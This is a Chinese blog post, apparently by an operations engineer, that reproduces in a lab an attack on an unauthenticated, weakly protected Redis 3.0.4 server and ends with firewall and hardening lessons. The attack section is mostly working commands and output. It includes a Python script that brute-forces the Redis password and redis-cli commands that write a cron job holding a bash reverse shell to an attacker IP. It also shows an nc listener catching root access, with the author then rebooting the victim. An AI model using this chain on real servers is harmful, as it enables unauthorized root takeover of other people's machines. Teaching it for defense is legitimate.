血的教训—入侵redis并远程控制你的机器场景复现
官方一点的叫redis未授权访问漏洞并写入计划任务反弹shell
唉,不怕服务安装部署,就怕上任运维瞎部署防不胜防,全是泪,全是血,唉,开始吧,就是这样的,有这么一台服务器,之前是研发的测试机器,后来用作生产的服务器了,期间过程非常曲折,反正到我手上的时候已经是生产服务器了,就是这么一台服务器,上面还跑着一个与应用不打杠的redis服务,当被安全组检测出来的时候我还不信,我不信的原因有3,第一、服务器所部署的服务不需要redis。第二、安全组扫了这么多次,为什么这个扫不出来呢,第三、redis有专门的集群体,带着心中的不解与不甘,紧急联系小伙伴们上服务器上面查看,骂骂咧咧的开始,我去,还真有,还是2017年部署的redis,mmd,唉,全是坑,经过这件事情,第一时间,ansible跑了一下所有的机器端口和对应的进程,都是泪,抓紧整改呀
破解思路
- 获取你的redis密码
- 远程连接你的redis
- 设置定时任务
- 获取反弹的shell
- 远程控制机器
场景布置
一台redis-server服务器
一台攻击机器,这里我用kail代替,为什么呢,因为kail上面的命令比较全,好吧我承认我手头上刚好有这么一台虚机。当然大家也不一定要用kail机,没用到高难度的,就用到一个nc、python3的命令,在普通机器上面安装一下也可以用
python3用脚本来破解redis的密码
nc来监听自己本地的端口
redis版本 3.0.4
作用IP地址详解redis服务器192.168.144.128被攻击的机器攻击机192.168.144.131进行攻击的机器
部署redis
用的是redis-3.0.4的呦
建议被攻击的机器和进行攻击的机器都安装下
1、被攻击的机器是必然要安装的
2、攻击的机器主要用的是redis-cli命令,如果不想安装,找个redis-cli命令也可以
[root@localhost ~]# wget https://download.redis.io/releases/redis-3.0.4.tar.gz
--2022-10-26 15:09:31-- https://download.redis.io/releases/redis-3.0.4.tar.gz
正在解析主机 download.redis.io (download.redis.io)... 45.60.125.1
正在连接 download.redis.io (download.redis.io)|45.60.125.1|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:1364993 (1.3M) [application/octet-stream]
正在保存至: “redis-3.0.4.tar.gz”
100%[====================================================================================================================================================================>] 1,364,993 1.59MB/s 用时 0.8s
2022-10-26 15:09:33 (1.59 MB/s) - 已保存 “redis-3.0.4.tar.gz” [1364993/1364993])
[root@localhost ~]# ls
anaconda-ks.cfg mysql-5.6.39.tar.gz php-5.6.40.tar.gz zabbix-4.0.3.tar.gz zabbix_dd.py zabbix_wx.py
msyh.ttf nginx-1.16.1.tar.gz redis-3.0.4.tar.gz zabbix_agent-4.0.0-windows-amd64.zip zabbix_sendmail.py
[root@localhost ~]# tar redis-3.0.4.tar.gz -xvf
tar: 无效选项 -- "e"
请用“tar --help”或“tar --usage”获得更多信息。
[root@localhost ~]# tar xvf redis-3.0.4.tar.gz
redis-3.0.4/
redis-3.0.4/.gitignore
redis-3.0.4/00-RELEASENOTES
redis-3.0.4/BUGS
redis-3.0.4/CONTRIBUTING
redis-3.0.4/COPYING
**********省略好多*********************************
[root@localhost ~]# ls
anaconda-ks.cfg mysql-5.6.39.tar.gz php-5.6.40.tar.gz redis-3.0.4.tar.gz zabbix_agent-4.0.0-windows-amd64.zip zabbix_sendmail.py
msyh.ttf nginx-1.16.1.tar.gz redis-3.0.4 zabbix-4.0.3.tar.gz zabbix_dd.py zabbix_wx.py
[root@localhost ~]# cd redis-3.0.4
[root@localhost redis-3.0.4]# ls
00-RELEASENOTES BUGS CONTRIBUTING COPYING deps INSTALL Makefile MANIFESTO README redis.conf runtest runtest-cluster runtest-sentinel sentinel.conf src tests utils
[root@localhost redis-3.0.4]# make
cd src && make all
make[1]: 进入目录“/root/redis-3.0.4/src”
rm -rf redis-server redis-sentinel redis-cli redis-benchmark redis-check-dump redis-check-aof *.o *.gcda *.gcno *.gcov redis.info lcov-html
(cd ../deps && make distclean)
make[2]: 进入目录“/root/redis-3.0.4/deps”
(cd hiredis && make clean) > /dev/null || true
(cd linenoise && make clean) > /dev/null || true
(cd lua && make clean) > /dev/null || true
(cd jemalloc && [ -f Makefile ] && make distclean) > /dev/null || true
(rm -f .make-*)
******************省略好多********************
LINK redis-server
INSTALL redis-sentinel
CC redis-cli.o
LINK redis-cli
CC redis-benchmark.o
LINK redis-benchmark
CC redis-check-dump.o
LINK redis-check-dump
CC redis-check-aof.o
LINK redis-check-aof
Hint: It's a good idea to run 'make test' ;)
make[1]: 离开目录“/root/redis-3.0.4/src”
[root@localhost redis-3.0.4]# ls
00-RELEASENOTES BUGS CONTRIBUTING COPYING deps INSTALL Makefile MANIFESTO README redis.conf runtest runtest-cluster runtest-sentinel sentinel.conf src tests utils
[root@localhost redis-3.0.4]# ls
00-RELEASENOTES BUGS CONTRIBUTING COPYING deps INSTALL Makefile MANIFESTO README redis.conf runtest runtest-cluster runtest-sentinel sentinel.conf src tests utils
[root@localhost redis-3.0.4]# cd src/
[root@localhost src]# ls
adlist.c anet.o cluster.h debug.c intset.c Makefile object.o redisassert.h redis-cli.c rio.c sha1.c syncio.c t_zset.o zmalloc.c
adlist.h aof.c cluster.o debug.o intset.h Makefile.dep pqsort.c redis-benchmark redis-cli.o rio.h sha1.h syncio.o util.c zmalloc.h
adlist.o aof.o config.c dict.c intset.o memtest.c pqsort.h redis-benchmark.c redis.h rio.o sha1.o testhelp.h util.h zmalloc.o
ae.c asciilogo.h config.h dict.h latency.c memtest.o pqsort.o redis-benchmark.o redis.o scripting.c slowlog.c t_hash.c util.o
ae_epoll.c bio.c config.o dict.o latency.h mkreleasehdr.sh pubsub.c redis.c redis-sentinel scripting.o slowlog.h t_hash.o valgrind.sup
ae_evport.c bio.h crc16.c endianconv.c latency.o multi.c pubsub.o redis-check-aof redis-server sds.c slowlog.o t_list.c version.h
ae.h bio.o crc16.o endianconv.h lzf_c.c multi.o rand.c redis-check-aof.c redis-trib.rb sds.h solarisfixes.h t_list.o ziplist.c
ae_kqueue.c bitops.c crc64.c endianconv.o lzf_c.o networking.c rand.h redis-check-aof.o release.c sds.o sort.c t_set.c ziplist.h
ae.o bitops.o crc64.h fmacros.h lzf_d.c networking.o rand.o redis-check-dump release.h sentinel.c sort.o t_set.o ziplist.o
ae_select.c blocked.c crc64.o help.h lzf_d.o notify.c rdb.c redis-check-dump.c release.o sentinel.o sparkline.c t_string.c zipmap.c
anet.c blocked.o db.c hyperloglog.c lzf.h notify.o rdb.h redis-check-dump.o replication.c setproctitle.c sparkline.h t_string.o zipmap.h
anet.h cluster.c db.o hyperloglog.o lzfP.h object.c rdb.o redis-cli replication.o setproctitle.o sparkline.o t_zset.c zipmap.o
[root@localhost src]# ./redis-server
4203:C 26 Oct 15:11:20.884 # Warning: no config file specified, using the default config. In order to specify a config file use ./redis-server /path/to/redis.conf
4203:M 26 Oct 15:11:20.885 * Increased maximum number of open files to 10032 (it was originally set to 1024).
_._
_.-``__ ''-._
_.-`` `. `_. ''-._ Redis 3.0.4 (00000000/0) 64 bit
.-`` .-```. ```\/ _.,_ ''-._
( ' , .-` | `, ) Running in standalone mode
|`-._`-...-` __...-.``-._|'` _.-'| Port: 6379
| `-._ `._ / _.-' | PID: 4203
`-._ `-._ `-./ _.-' _.-'
|`-._`-._ `-.__.-' _.-'_.-'|
| `-._`-._ _.-'_.-' | http://redis.io
`-._ `-._`-.__.-'_.-' _.-'
|`-._`-._ `-.__.-' _.-'_.-'|
| `-._`-._ _.-'_.-' |
`-._ `-._`-.__.-'_.-' _.-'
`-._ `-.__.-' _.-'
`-._ _.-'
`-.__.-'
4203:M 26 Oct 15:11:20.885 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.
4203:M 26 Oct 15:11:20.885 # Server started, Redis version 3.0.4
4203:M 26 Oct 15:11:20.885 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
4203:M 26 Oct 15:11:20.885 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.
4203:M 26 Oct 15:11:20.885 * The server is now ready to accept connections on port 6379
^C4203:signal-handler (1666768287) Received SIGINT scheduling shutdown...
4203:M 26 Oct 15:11:27.404 # User requested shutdown...
4203:M 26 Oct 15:11:27.404 * Saving the final RDB snapshot before exiting.
4203:M 26 Oct 15:11:27.405 * DB saved on disk
4203:M 26 Oct 15:11:27.405 # Redis is now ready to exit, bye bye...
ctrl + c停止掉redis
[root@localhost redis-3.0.4]# vim redis.conf ##添加密码
# 设置需要密码才能访问,123456为示例,请改为强密码
requirepass 123456
[root@localhost src]# ./redis-server ../redis.conf ##带配置文件启动
[root@localhost src]#
[root@localhost src]#
[root@localhost src]#
[root@localhost src]#
[root@localhost src]#
[root@localhost src]# ps -ef | grep redis ##过滤下redis进程
root 4245 4219 0 15:13 pts/1 00:00:00 ./redis-cli
root 4250 1 0 15:16 ? 00:00:00 ./redis-server *:6379
root 4254 1310 0 15:16 pts/0 00:00:00 grep --color=auto redis
破解redis密码
首先你的攻击机器确保能够连接上你的redis服务器,我的这个事故,攻击过来的是广西的一个用户的机器,我们之间有业务的来往,所以对于广西的机器我们的防火墙是放行进来的,当然经过这个事情,我们也吃了不少亏,细化firewalld的白名单,控制到端口级别的防护
破解脚本
破解redis的脚本非常的多,这边自己也就随便在网上面找了一个python的脚本,脚本内容如下
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
import sys
redisCrackFile="passwd.txt" #破解密码文件
ip="192.168.144.128"
port=6379
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,port)) #建立tcp连接
with open(redisCrackFile,"r") as f:
for i in f:
s.send("auth %s " %(i)) #在一个tcp连接里多次使用auth命令猜测
authResult=s.recv(1024)
if '+OK' in authResult:
print "the redis pass is:%s" %i
s.close()
sys.exit(0)
密码本里面就是放着各种密码,小编这边也就是做个样子,当然别人的密码本可是很强大的哈。
小编的密码本内容:
执行脚本,可以看到密码被破解出来了
┌──(liushuai㉿kali)-[~]
└─$ python redis-stack.py
the redis pass is:123456
知道为哈用kail了吧,因为kail里面自带python3,安装一个python3太麻烦了
密码试出来了,那就开始连接吧
连接redis
在攻击机上面远程连接redis服务器
┌──(liushuai㉿kali)-[~/redis-3.0.4/src]
└─$ pwd
/home/liushuai/redis-3.0.4/src
┌──(liushuai㉿kali)-[~/redis-3.0.4/src]
└─$ ./redis-cli -h 192.168.144.128 -p 6379 -a 123456 130 ⨯
192.168.144.128:6379>ping
PONG
进行反弹
┌──(liushuai㉿kali)-[~/redis-3.0.4/src]
└─$ ./redis-cli -h 192.168.144.128 -p 6379 -a 123456 130 ⨯
192.168.144.128:6379> set x "\n* * * * * /bin/bash -i > /dev/tcp/192.168.144.131/6666 0<&1 2>&1\n"
OK #建立计划任务,当然里面的192.168.144.131/6666 可得换成自己的哈,6666是端口,自己攻击机的端口哈别被占用
192.168.144.128:6379> config set dir /var/spool/cron/
OK #计划任务放到定时任务里面
192.168.144.128:6379> config set dbfilename root
OK #切换root用户来执行这个定时任务
这个就要看你是用的那个用户启动的redis的(待验证)
192.168.144.128:6379> save
OK #保存,搞起来
192.168.144.128:6379>
redis服务器上面查看
在redis服务器上面查看定时任务
已经成功的写入定时任务,哈哈哈哈,正在不停的向192.168.144.131上面的6666端口进行交互
nc命令循环监听端口
利用nc命令实时的监听本机的6666端口,如果有数据,将出现一个交互界面(简单这样理解吧)
┌──(liushuai㉿kali)-[~]
└─$ nc -lvp 6666 ###循环监听本地6666端口
listening on [any] 6666 ...
192.168.144.128: inverse host lookup failed: Host name lookup failure
connect to [192.168.144.131] from (UNKNOWN) [192.168.144.128] 45606
bash: 此 shell 中无任务控制
[root@localhost ~]# ip a ###建立连接了,并且可以发现已经到redis服务器的控制台了,这里命令保存的原因是,命令需要用绝对路径执行
ip a
bash: ip: 未找到命令
[root@localhost ~]# reboot
reboot
bash: reboot: 未找到命令
[root@localhost ~]# ls ####可以看到被控制机器的家目录下面的内容
ls
anaconda-ks.cfg
msyh.ttf
mysql-5.6.39.tar.gz
nginx-1.16.1.tar.gz
php-5.6.40.tar.gz
redis-3.0.4
redis-3.0.4.tar.gz
zabbix-4.0.3.tar.gz
zabbix_agent-4.0.0-windows-amd64.zip
zabbix_dd.py
zabbix_sendmail.py
zabbix_wx.py
[root@localhost ~]# mkdir 1 ###可以创建目录
mkdir 1
您在 /var/mail/root 中有新邮件
[root@localhost ~]# ll
ll
bash: ll: 未找到命令
查看redis服务器,可以看到这些操作是真是存在的
控制机器关机
──(liushuai㉿kali)-[~]
└─$ nc -lvp 6666 1 ⨯
listening on [any] 6666 ...
192.168.144.128: inverse host lookup failed: Host name lookup failure
connect to [192.168.144.131] from (UNKNOWN) [192.168.144.128] 45612
bash: 此 shell 中无任务控制
[root@localhost ~]# init 0
init 0
bash: init: 未找到命令
[root@localhost ~]# ls
ls
1
anaconda-ks.cfg
msyh.ttf
mysql-5.6.39.tar.gz
nginx-1.16.1.tar.gz
php-5.6.40.tar.gz
redis-3.0.4
redis-3.0.4.tar.gz
zabbix-4.0.3.tar.gz
zabbix_agent-4.0.0-windows-amd64.zip
zabbix_dd.py
zabbix_sendmail.py
zabbix_wx.py
[root@localhost ~]# cd 1
cd 1
[root@localhost 1]# ls
ls
[root@localhost 1]# reboot ###命令需要用绝对路径
reboot
bash: reboot: 未找到命令
您在 /var/mail/root 中有新邮件
[root@localhost 1]# echo "#!/bin/bash" > 1.sh
echo "#!/bin/bash" > 1.sh
bash: !/bin/bash": event not found
[root@localhost 1]# /usr/sbin/reboot #### 执行完这个可以看看redis服务器哈,是真的被入侵控制关机重启了
/usr/sbin/reboot
被攻击的机器重启了
后语
针对这个问题,以下几种血的领悟
1、防火墙要细致到具体端口,从连接上面杜绝
2、像redis这种中间件服务密码一定要为超强密码,增加攻击的成本
3、梳理好上下游应用系统的的关系,关键时刻立马止损
4、服务器上面最小化服务安装,不安装没必要的服务器
5、生产即生命,对待生产服务器一定要干净利索,最好全新的系统
版权归原作者 刘帅0952 所有, 如有侵权,请联系我们删除。